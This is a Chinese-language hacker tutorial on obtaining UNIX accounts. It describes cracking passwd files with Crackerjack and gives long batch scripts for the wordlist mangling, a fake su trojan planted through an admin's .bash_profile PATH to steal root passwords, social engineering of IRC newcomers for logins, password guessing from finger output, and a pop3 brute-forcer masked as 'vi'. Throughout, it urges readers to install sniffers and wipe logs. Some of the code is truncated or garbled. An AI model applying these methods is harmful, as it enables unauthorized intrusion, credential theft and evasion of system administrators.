从UNIX系统获取密码档(二)

主题:
     破解(Cracking)passwrd 文档
     与新手交谈
     困难的方法
     利用mount命令获取访问权限
     有很多方法可以获得一个起始帐号.我将深入每个方面帮助你开始.你所需的只是一个好的帐号,用来获得数百个帐号.想一想这:你进入一个很好的可以利用的系统(大多是Linux机器;),夺取root权限并装上一个Sniffer(嗅探器);这个TCP sniffer 将监测到网络上任何login(登陆)过程并记录下所有Telnet,Ftp或拨号进出的Login 名和口令;这样即使是一个小以太网你也可获得大约100个口令,如果是一个更大的网络供应商你就会得到全世界的数百个帐号!这一切,你只要有某个可利用系统的一个好帐号和口令就可做到!如果你看起来无法利用某系统的root权限,那就拿它来破解口令,用来和那些但没有shell帐号或磁盘空间的其他hacker及IRC使用者交换.决不要把一个你有root权限的系统的口令给出去!你自己留着它!
     OK,让我们开始深入获取你的第一个帐号的方法.Go!
     --------------------------------------------------------------------------------
     破解passwd 文档
      
     如果你是按照心中正确的框架去hacking的话,一般都是先运行破解程序直到得到一个可以进入此系统的好帐号.然后Login上去看看能否夺取系统的root权限.如果可以,拿了root,移取用得着的文档到你的子目录里,抹去你的在场痕迹,清除所有日志.这样就准备好可以安装Sniffer了.
     为何要去破解那些只用24小时就可破解出大部分口令的系统?我们的目的不仅仅是正在hack的机器,还有那些与之相连的机器.如果某系统没有利用价值,不要在它上面浪费时间,去寻找下一个目标.后注:如果你仅仅是为了得到上面所说的交换帐号的口令那又另当别论.
     得到一个管理员的帐号后,你可能会想读一读他的历史文档,看看他是否曾用过SU命令成为root.如果有,你就可以用SU特洛伊木马帮你夺取root口令.它如此工作:你更改他(管理员)的Shell脚本使得一隐藏目录(.term)被很好安置在搜寻路径里所有目录之前.把伪SU程序放在该.term(或其他)目录里.他键下SU,对他来说一切都如常,在提示下他键入root口令,然后口令就悄悄地被拷贝到/tmp/.elm69的log文档里,同时删除伪SU文件,并返回一个摽诹畲頂的信息让他再试一次.管理员一定认为是他输入错了,便再次运行SU,但这回是真的SU了.
     在后面的uuencode过的附录里,你可找到假SU程序.
      
     这是DOC文档:
     Fake SU by Nfin8 - i-e
     IRC: /msg i-e
     Easy as 1,2,3 ...
     1.更改路径到你已有访问权限的用户帐号上,此前你应已从历史文档中看到他曾用过SU命令;先建立放SU特洛伊程序的目录.最好是.term或.elm.
     2.确定已编辑过su.c的头部指向你所用路径,使得SU特洛伊可自我删除并在第二次尝试让真SU程序运行.
     3.把所有文件放进目标目录,并编译su.c.
     gcc su.c -o su
     然后删除SU以外的所有文件.一切搞定!
     .bash_profile 结构如下:
     # .bash_profile
     # Get the aliases and functions
     if [ -f ~/.bashrc ]; then
     . ~/.bashrc
     fi
     # User specific environment and startup programs
     PATH=$PATH:$HOME/bin
     ENV=$HOME/.bashrc
     USERNAME=""
     export USERNAME ENV PATH
     把第一行改为:PATH=$HOME/.term:$PATH:$HOME/bin
     当系统管理员运行SU时,就会先运行在.term里的SU特洛伊然后报告口令出错.SU特洛伊程序会在/tmp目录创建包含键入的root口令(或帐户口令)的隐藏文件.如果是非root帐户,它还记录帐户名.然后SU特洛伊自我删除使得下次尝试将运行真正的SU程序.
     你可在/etc目录下的passwd文档前部找到管理员的用户名.只需打:more passwd
     你可确信passwd文档的头一二个帐户就是管理员的,虽然有时你也能找到其他人的目录如/staff/username.
     历史文档在每个用户目录里.通过阅读它们,你可看到该用户最近使用过的命令,有时能看到最近的100多个命令.寻找.bash_history或history文件,你可用more命令读它们:more .bash_history,也可:more .b*或more .b(然后按键盘上的Tab键).
     OK,现在你需要一个好的password破解程序.下一章你可看到在没有帐号时如何从系统夺取password文档.但是it is catch 22(我不懂了?:译者),你还是要用到password破解程序.
     你需要下列三样东东:
     1. Password破解程序
     2. 好的字典档
     3. Password 文档
     初学者最好的password破解程序当数Crackerjack,搜寻Web页可以很容易找到它.Down下来准备开始.如果你已有所入门,可down一个unix版本的Cjack并在shell环境下运行它.但如你是初学,down一个DOS/OS/2版本好了.
     此外还要找一些好字典档.最好的字典档就是名字(names)了.你会在网络上发现最不可靠的口令如男孩的女友名,女孩的男友名啦:)象如'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords'’ hackersdict’这样为名的字典档是最好的.
     装载crackerjack如:[D:\jack]jack
     Cracker Jack version 1.4 for OS/2 and DOS (386)
     Copyright (C) 1993, The Jackal, Denmark
     PWfile(s) : domain.com.passwd
     Wordfile : domain.com.passwd
     上面把password文档作为字典档.这会让你先找出那些用登陆名(Login name)作口令的用户,如果用真名(real name )或公司名之类的信息的话,也能马上猜中.这样你就不用苦苦等候程序搜索整个字典档了.
      
     如果想hash(我译做:扩充)字典档以得到更多的词量,可参读crackerjack的DOC文档.
     所谓hashing(扩充)就是你可告诉crackerjack更改字典档中的词例如在单词的前后加一些数字或字母,就象sandy1或1sandy.你会发现很多用户这样做并以为这更可靠.
     下面就是为口令文档和字典档写的hashing文件.通过观察它们,你就会明白你如何修改它们或创建新的hashing文件以满足自己的需要.
     ------------ start of dicthash.bat
     @echo off
     cls
     echo - THIS FILE FOR DOS MACHINES
     echo ----------------------------------------------------------------------
     echo - To work this batch file have all of the crackerjack files in the
     echo - current directory with this batch file, along with your dict and
     echo - password file. Then use this batch file using the following format:
     echo -
     echo - dicthash.bat dictfilename.ext passwordfilename.ext
     echo -
     echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
     echo -
     echo - dicthash will first load jack running the dict file against your
     echo - password file in both cases, then it will add numbers 0-9 both to
     echo - the begining and end of every dict word. This will take a while,
     echo - so go out for that week vacation!
     echo -
     echo - If you get tired you can 'ctrl c' to the next option or number.
     echo -
     echo - ii@dormroom.pyro.net
     echo -
     echo - Mail me some of your hits, let me know how this works for you ;)
     jpp -lower %1 | jack -stdin %2
     jpp %1 | jack -stdin %2
     jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
     jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
     jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
     jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
     jpp -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
     jpp -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
     jpp -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
     jpp -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
     jpp -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
     jpp -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
     jpp -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
     jpp -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
     jpp -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
     jpp -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
     jpp -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
     jpp -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
     jpp -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
     jpp -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
     jpp -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
     jpp -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
     jpp -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
     jpp -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
     jpp -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
     jpp -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
     jpp -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
     jpp -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
     jpp -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
     jpp -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
     jpp -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
     jpp -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
     jpp -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
     jpp -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
     jpp -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
     jpp -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
     jpp -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
     jpp -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
     jpp -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
     jpp -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
     jpp -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
     jpp -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
     ---------------- end of dicthash.bat
     ---------------- start of jackhash.bat
     @echo off
     cls
     echo - THIS FILE FOR DOS
     echo ----------------------------------------------------------------------
     echo - To work this batch file have all of the crackerjack files in the
     echo - current directory with this batch file, along with your password file.
     echo - Then use this batch file using the following format:
     echo -
     echo - jackhash.bat passwordfilename.ext
     echo -
     echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
     echo -
     echo - jackhash will first load jack running the passwd file against
     echo - itself in both upper and lower cases, then it will add numbers 0-9
     echo - both to the begining and end of every dict word. This will take
     echo - a while, so go out for that week vacation!
     echo -
     echo - If you get tired you can 'ctrl c' to the next option or number.
     echo -
     echo - ii@dormroom.pyro.net
     echo -
     echo - Mail me some of your hits, let me know how this works for you ;)
     jpp -gecos:5 -lower %1 | jack -stdin %1
     jpp -gecos:5 %1 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1
     jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1
     jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1
     jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1
     jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1
     jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
     jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
     jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
     jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
     jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
     jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
     jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
     jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
     jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
     jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
     jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
     --------------- end of jackhash.bat
      
     即使没有帐号也可夺取password文档,看下一章吧.
     --------------------------------------------------------------------------------
     与新手交谈
     还有其他方法不用费那么大力就可获得帐号.在IRC上建一与hacking有关名字的频道等候或加入已有的IRC频道,如:#hacking #unix #unixhacking #hack #hackers #hacker #virus #virii
     #hackers_hideout,或任何其他你能找到的.
     现在你要寻找的就是那些正学习和使用shell的新丁.网络总是会有一些人没你知得多的人.留意那些问一些新手问题又得不到答案甚至被踢出频道的家伙,那就是你的目标了:)
     用/msg发消息给他使得其他人看不出你和他交谈.然后问他问题,尝试帮助他,但不必太尽力;).最后告诉他你可为他login上去帮他解决问题.这有可能让你拿到passwd 文档或其他东东.应承他任何事(promise him the world)以获取login口令.现在你不就有了起始帐号可以开始你的学习进程了.如果在夺取系统的root时候你不想暴露自己,可告诉他其他吸引他的东东让他在你侦听系统的其他口令时忙着.
     因此现在如果你在IRC上给某人你的login名和口令时,记住我上面说的话,不过我一直都尽量帮助人们学习啦,因此我可以说我对待碰见的朋友都是真诚老实的.
     --------------------------------------------------------------------------------
     困难的方法
     这是另一种方法.可以确定的说,大多数的大系统都有用户在使用不可靠口令.在shell环境下:
     finger @domainname.com 我用真正的域名:
     [10:35am][/home/ii]finger @starnet.net
     [starnet.net]
     Login Name Tty Idle Login Time Office Office Phone
     chris Chris Myers p2 4:46 Jan 27 11:19
     mike Mike Suter p1 4:57 Jan 22 16:14
     mike Mike Suter p5 3d Jan 16 15:35
     root System Administrator p3 4:59 Jan 16 10:17
     wendt Catherine Wendt-Bern p0 3 Jan 21 14:49
     [10:35am][/home/ii]
      
     现在我们可以尝试这样登陆:
     Login:chris Passwword 试一试:Chris,chris,myers,Myers,chrismyers,等等…
     这个看起来不错:wendt:Catherine:catherine
     下面是另一个命令:
     [10:35am][/home/ii]finger -l @starnet.net
     [starnet.net]
     Login: mike Name: Mike Suter
     Directory: /usra/staff/mike Shell: /bin/csh
     On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net
     On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox
     Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk
     No Plan.
     Login: root Name: System Administrator
     Directory: /root Shell: /bin/csh
     On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net
     Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net
     Mail forwarded to:
     \chris@admin.starnet.net
     #\chris@admin.starnet.net, \mike@admin.starnet.net
     No Plan.
     Login: wendt Name: Catherine Wendt-Bernal
     Directory: /usra/staff/wendt Shell: /bin/csh
     On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout
     No Plan.
     你有更多可利用的消息了;)
     我知道这让你厌烦...
     记住你的尝试会被记录,所以如果你成功进入并获得root权限的话,记得清除日志:)
     以下是一个成功进入后用得着的C小程序.
     pop3hack.c
     ----- cut here
     #include
     #include
     #include
     #include
     #include
     #include
     #include
     #include
     #include
     /* First, define the POP-3 port - almost always 110 */
     #define POP3_PORT 110
     /* What we want our program to be masked as, so nosy sys admin's don't kill us */
     #define MASKAS "vi"
     /* Repeat connect or not - remember, logs still report a connection, so
     you might want to set this to 0. If set to 0, it will hack until it finds
     1 user/password then exit. If set to 1, it will reconnect and try more
     user/passwords (until it runs out of usernames) */
     #define RECONNECT 0
     ----- cut here
      
     你也可自己写一小perl脚本程序,能自动finger 列表中的域名并记录响应信息到文件中,finger完后返回并尝试使用pop3端口,以 用户名-用户名(或其他信息)方式(译注:即口令用用户名或其他信息)登陆,记录响应信息到另一文件中.(这就是Emailcrk的原理)
     FTP到rs.internic.net中,在域名目录中你会找到:
     com.zone.>
     --------------------------------------------------------------------------------
     传输中断!
     ov.zone.gz
     mil.zone.gz
     net.zone.gz
     org.zone.gz
     Down下这些文档,在攻击目标域名上运行getdomain.pl(下面的脚本),如:
     "perl getdomain.pl com.zone com >com.all"
     这条指令所做的就是解开所.com的域名并放在comm.all文档中.
     如果想解开.EDU,只需:
     perl getdomain.pl edu.zone edu >edu.all
     现在你就有了名为edu.all的域名列表供你用了
     下面是perl 脚本:
     getdomain.pl
     ---- cut here
     #!/usr/bin/perl
     # GetDomain By Nfin8 / Invisible Evil
     # Questions /msg i-e or /msg i^e
     #
     # Retrieve command line arguments.
     my($inputfile, $domain) = @ARGV;
     usage() if (!defined($inputfile) || !defined($domain));
     # Open and preprocess the input file.
     open(INFILE, ";
     # Initialize main data structure.
     my(%hash) = {};
     my($key) = "";
     foreach (@lines) {
     $key = (split(/\ /))[0];
     chop($key);
     next if ((($key =~ tr/.//) < 1) ||
     (uc($domain) ne uc(((split(/\./, $key))[-1]))) ||
     ($key =~ m/root-server/i));
     $hash ;
     }
     # Close input file and output data structure to STDOUT.
